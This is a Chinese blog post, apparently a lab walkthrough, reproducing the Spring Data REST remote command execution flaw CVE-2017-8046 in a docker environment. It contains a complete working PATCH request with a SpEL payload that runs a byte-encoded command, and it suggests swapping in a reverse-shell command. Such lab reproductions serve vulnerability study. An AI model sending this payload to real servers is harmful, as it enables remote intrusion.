Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

环境搭建

cd spring/CVE-2017-8046
docker-compose up -d

等待环境启动完成,然后访问即可看到json格式的返回值,说明这是一个Restful风格的API服务器。

漏洞复现

访问http://10.10.10.8:8080/customers/1,看到一个资源。我们使用PATCH请求来修改:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示命令touch /tmp/success。然后进入容器docker-compose exec spring bash
img
将bytecode改成反弹shell的命令

posted @ 2024-04-30 10:08  kalixcn  阅读(260)  评论(0编辑  收藏  举报